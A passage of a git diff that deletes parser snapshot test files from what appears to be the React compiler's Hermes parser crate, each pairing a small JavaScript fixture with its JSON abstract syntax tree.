-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  89,
-                  95
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "MemberExpression",
-                  "object": {
-                    "type": "MemberExpression",
-                    "object": {
-                      "type": "Identifier",
-                      "name": "x",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        96,
-                        97
-                      ]
-                    },
-                    "property": {
-                      "type": "Identifier",
-                      "name": "y",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        98,
-                        99
-                      ]
-                    },
-                    "computed": false,
-                    "loc": null,
-                    "range": [
-                      96,
-                      99
-                    ]
-                  },
-                  "property": {
-                    "type": "Identifier",
-                    "name": "z",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      100,
-                      101
-                    ]
-                  },
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    96,
-                    101
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                89,
-                102
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              89,
-              103
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                113,
-                114
-              ]
-            },
-            "loc": null,
-            "range": [
-              106,
-              115
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          21,
-          117
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        117
-      ],
-      "loc": null,
-      "range": [
-        0,
-        117
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    117
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@alias-nested-member-path.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@alias-nested-member-path.js.snap
deleted file mode 100644
index fce7bf458c92..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@alias-nested-member-path.js.snap
+++ /dev/null
@@ -1,310 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/alias-nested-member-path.js
----
-Input:
-function component() {
-  let z = [];
-  let y = {};
-  y.z = z;
-  let x = {};
-  x.y = y;
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "z",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    29,
-                    30
-                  ]
-                },
-                "init": {
-                  "type": "ArrayExpression",
-                  "elements": [],
-                  "loc": null,
-                  "range": [
-                    33,
-                    35
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  29,
-                  35
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              25,
-              36
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    43,
-                    44
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [],
-                  "loc": null,
-                  "range": [
-                    47,
-                    49
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  43,
-                  49
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              39,
-              50
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "AssignmentExpression",
-              "operator": "=",
-              "left": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    53,
-                    54
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "z",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    55,
-                    56
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  53,
-                  56
-                ]
-              },
-              "right": {
-                "type": "Identifier",
-                "name": "z",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  59,
-                  60
-                ]
-              },
-              "loc": null,
-              "range": [
-                53,
-                60
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              53,
-              61
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    68,
-                    69
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [],
-                  "loc": null,
-                  "range": [
-                    72,
-                    74
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  68,
-                  74
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              64,
-              75
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "AssignmentExpression",
-              "operator": "=",
-              "left": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    78,
-                    79
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    80,
-                    81
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  78,
-                  81
-                ]
-              },
-              "right": {
-                "type": "Identifier",
-                "name": "y",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  84,
-                  85
-                ]
-              },
-              "loc": null,
-              "range": [
-                78,
-                85
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              78,
-              86
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                96,
-                97
-              ]
-            },
-            "loc": null,
-            "range": [
-              89,
-              98
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          21,
-          100
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        100
-      ],
-      "loc": null,
-      "range": [
-        0,
-        100
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    100
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@alias-while.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@alias-while.js.snap
deleted file mode 100644
index 0abaaef23279..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@alias-while.js.snap
+++ /dev/null
@@ -1,560 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/alias-while.js
----
-Input:
-function foo(cond) {
-  let a = {};
-  let b = {};
-  let c = {};
-  while (cond) {
-    let z = a;
-    a = b;
-    b = c;
-    c = z;
-    mutate(a, b);
-  }
-  a;
-  b;
-  c;
-  return a;
-}
-
-function mutate(x, y) {}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "foo",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          12
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "cond",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            13,
-            17
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "a",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    27,
-                    28
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [],
-                  "loc": null,
-                  "range": [
-                    31,
-                    33
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  27,
-                  33
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              23,
-              34
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "b",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    41,
-                    42
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [],
-                  "loc": null,
-                  "range": [
-                    45,
-                    47
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  41,
-                  47
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              37,
-              48
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "c",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    55,
-                    56
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [],
-                  "loc": null,
-                  "range": [
-                    59,
-                    61
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  55,
-                  61
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              51,
-              62
-            ]
-          },
-          {
-            "type": "WhileStatement",
-            "test": {
-              "type": "Identifier",
-              "name": "cond",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                72,
-                76
-              ]
-            },
-            "body": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "VariableDeclaration",
-                  "kind": "let",
-                  "declarations": [
-                    {
-                      "type": "VariableDeclarator",
-                      "id": {
-                        "type": "Identifier",
-                        "name": "z",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          88,
-                          89
-                        ]
-                      },
-                      "init": {
-                        "type": "Identifier",
-                        "name": "a",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          92,
-                          93
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        88,
-                        93
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    84,
-                    94
-                  ]
-                },
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "AssignmentExpression",
-                    "operator": "=",
-                    "left": {
-                      "type": "Identifier",
-                      "name": "a",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        99,
-                        100
-                      ]
-                    },
-                    "right": {
-                      "type": "Identifier",
-                      "name": "b",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        103,
-                        104
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      99,
-                      104
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    99,
-                    105
-                  ]
-                },
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "AssignmentExpression",
-                    "operator": "=",
-                    "left": {
-                      "type": "Identifier",
-                      "name": "b",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        110,
-                        111
-                      ]
-                    },
-                    "right": {
-                      "type": "Identifier",
-                      "name": "c",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        114,
-                        115
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      110,
-                      115
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    110,
-                    116
-                  ]
-                },
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "AssignmentExpression",
-                    "operator": "=",
-                    "left": {
-                      "type": "Identifier",
-                      "name": "c",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        121,
-                        122
-                      ]
-                    },
-                    "right": {
-                      "type": "Identifier",
-                      "name": "z",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        125,
-                        126
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      121,
-                      126
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    121,
-                    127
-                  ]
-                },
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "CallExpression",
-                    "callee": {
-                      "type": "Identifier",
-                      "name": "mutate",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        132,
-                        138
-                      ]
-                    },
-                    "arguments": [
-                      {
-                        "type": "Identifier",
-                        "name": "a",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          139,
-                          140
-                        ]
-                      },
-                      {
-                        "type": "Identifier",
-                        "name": "b",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          142,
-                          143
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      132,
-                      144
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    132,
-                    145
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                78,
-                149
-              ]
-            },
-            "loc": null,
-            "range": [
-              65,
-              149
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "Identifier",
-              "name": "a",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                152,
-                153
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              152,
-              154
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "Identifier",
-              "name": "b",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                157,
-                158
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              157,
-              159
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "Identifier",
-              "name": "c",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                162,
-                163
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              162,
-              164
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "a",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                174,
-                175
-              ]
-            },
-            "loc": null,
-            "range": [
-              167,
-              176
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          19,
-          178
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        178
-      ],
-      "loc": null,
-      "range": [
-        0,
-        178
-      ]
-    },
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "mutate",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          189,
-          195
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "x",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            196,
-            197
-          ]
-        },
-        {
-          "type": "Identifier",
-          "name": "y",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            199,
-            200
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [],
-        "loc": null,
-        "range": [
-          202,
-          204
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        180,
-        204
-      ],
-      "loc": null,
-      "range": [
-        180,
-        204
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    204
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@allocating-primitive-as-dep-nested-scope.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@allocating-primitive-as-dep-nested-scope.js.snap
deleted file mode 100644
index 599d86b9879e..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@allocating-primitive-as-dep-nested-scope.js.snap
+++ /dev/null
@@ -1,377 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/allocating-primitive-as-dep-nested-scope.js
----
-Input:
-// bar(props.b) is an allocating expression that produces a primitive, which means
-// that Forget should memoize it.
-// Correctness:
-//   - y depends on either bar(props.b) or bar(props.b) + 1
-function AllocatingPrimitiveAsDepNested(props) {
-  let x = {};
-  mutate(x);
-  let y = foo(bar(props.b) + 1);
-  mutate(x, props.a);
-  return [x, y];
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "AllocatingPrimitiveAsDepNested",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          202,
-          232
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            233,
-            238
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    248,
-                    249
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [],
-                  "loc": null,
-                  "range": [
-                    252,
-                    254
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  248,
-                  254
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              244,
-              255
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "Identifier",
-                "name": "mutate",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  258,
-                  264
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    265,
-                    266
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                258,
-                267
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              258,
-              268
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    275,
-                    276
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "foo",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      279,
-                      282
-                    ]
-                  },
-                  "arguments": [
-                    {
-                      "type": "BinaryExpression",
-                      "left": {
-                        "type": "CallExpression",
-                        "callee": {
-                          "type": "Identifier",
-                          "name": "bar",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            283,
-                            286
-                          ]
-                        },
-                        "arguments": [
-                          {
-                            "type": "MemberExpression",
-                            "object": {
-                              "type": "Identifier",
-                              "name": "props",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                287,
-                                292
-                              ]
-                            },
-                            "property": {
-                              "type": "Identifier",
-                              "name": "b",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                293,
-                                294
-                              ]
-                            },
-                            "computed": false,
-                            "loc": null,
-                            "range": [
-                              287,
-                              294
-                            ]
-                          }
-                        ],
-                        "loc": null,
-                        "range": [
-                          283,
-                          295
-                        ]
-                      },
-                      "operator": "+",
-                      "right": {
-                        "type": "NumericLiteral",
-                        "value": 1.0,
-                        "loc": null,
-                        "range": [
-                          298,
-                          299
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        283,
-                        299
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    279,
-                    300
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  275,
-                  300
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              271,
-              301
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "Identifier",
-                "name": "mutate",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  304,
-                  310
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    311,
-                    312
-                  ]
-                },
-                {
-                  "type": "MemberExpression",
-                  "object": {
-                    "type": "Identifier",
-                    "name": "props",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      314,
-                      319
-                    ]
-                  },
-                  "property": {
-                    "type": "Identifier",
-                    "name": "a",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      320,
-                      321
-                    ]
-                  },
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    314,
-                    321
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                304,
-                322
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              304,
-              323
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "ArrayExpression",
-              "elements": [
-                {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    334,
-                    335
-                  ]
-                },
-                {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    337,
-                    338
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                333,
-                339
-              ]
-            },
-            "loc": null,
-            "range": [
-              326,
-              340
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          240,
-          342
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        193,
-        342
-      ],
-      "loc": null,
-      "range": [
-        193,
-        342
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    193,
-    342
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@allocating-primitive-as-dep.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@allocating-primitive-as-dep.js.snap
deleted file mode 100644
index c63c0cbf9caa..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@allocating-primitive-as-dep.js.snap
+++ /dev/null
@@ -1,209 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/allocating-primitive-as-dep.js
----
-Input:
-// bar(props.b) is an allocating expression that produces a primitive, which means
-// that Forget should memoize it.
-// Correctness:
-//   - y depends on either bar(props.b) or bar(props.b) + 1
-function AllocatingPrimitiveAsDep(props) {
-  let y = foo(bar(props).b + 1);
-  return y;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "AllocatingPrimitiveAsDep",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          202,
-          226
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            227,
-            232
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    242,
-                    243
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "foo",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      246,
-                      249
-                    ]
-                  },
-                  "arguments": [
-                    {
-                      "type": "BinaryExpression",
-                      "left": {
-                        "type": "MemberExpression",
-                        "object": {
-                          "type": "CallExpression",
-                          "callee": {
-                            "type": "Identifier",
-                            "name": "bar",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              250,
-                              253
-                            ]
-                          },
-                          "arguments": [
-                            {
-                              "type": "Identifier",
-                              "name": "props",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                254,
-                                259
-                              ]
-                            }
-                          ],
-                          "loc": null,
-                          "range": [
-                            250,
-                            260
-                          ]
-                        },
-                        "property": {
-                          "type": "Identifier",
-                          "name": "b",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            261,
-                            262
-                          ]
-                        },
-                        "computed": false,
-                        "loc": null,
-                        "range": [
-                          250,
-                          262
-                        ]
-                      },
-                      "operator": "+",
-                      "right": {
-                        "type": "NumericLiteral",
-                        "value": 1.0,
-                        "loc": null,
-                        "range": [
-                          265,
-                          266
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        250,
-                        266
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    246,
-                    267
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  242,
-                  267
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              238,
-              268
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "y",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                278,
-                279
-              ]
-            },
-            "loc": null,
-            "range": [
-              271,
-              280
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          234,
-          282
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        193,
-        282
-      ],
-      "loc": null,
-      "range": [
-        193,
-        282
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    193,
-    282
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@allow-passing-refs-as-props.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@allow-passing-refs-as-props.js.snap
deleted file mode 100644
index aa45f7222be4..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@allow-passing-refs-as-props.js.snap
+++ /dev/null
@@ -1,201 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/allow-passing-refs-as-props.js
----
-Input:
-function Component(props) {
-  const ref = useRef(null);
-  return <Foo ref={ref} />;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "ref",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    36,
-                    39
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "useRef",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      42,
-                      48
-                    ]
-                  },
-                  "arguments": [
-                    {
-                      "type": "NullLiteral",
-                      "loc": null,
-                      "range": [
-                        49,
-                        53
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    42,
-                    54
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  36,
-                  54
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              30,
-              55
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "JSXElement",
-              "openingElement": {
-                "type": "JSXOpeningElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "Foo",
-                  "loc": null,
-                  "range": [
-                    66,
-                    69
-                  ]
-                },
-                "attributes": [
-                  {
-                    "type": "JSXAttribute",
-                    "name": {
-                      "type": "JSXIdentifier",
-                      "name": "ref",
-                      "loc": null,
-                      "range": [
-                        70,
-                        73
-                      ]
-                    },
-                    "value": {
-                      "type": "JSXExpressionContainer",
-                      "expression": {
-                        "type": "Identifier",
-                        "name": "ref",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          75,
-                          78
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        74,
-                        79
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      70,
-                      79
-                    ]
-                  }
-                ],
-                "selfClosing": true,
-                "loc": null,
-                "range": [
-                  65,
-                  82
-                ]
-              },
-              "children": [],
-              "closingElement": null,
-              "loc": null,
-              "range": [
-                65,
-                82
-              ]
-            },
-            "loc": null,
-            "range": [
-              58,
-              83
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          85
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        85
-      ],
-      "loc": null,
-      "range": [
-        0,
-        85
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
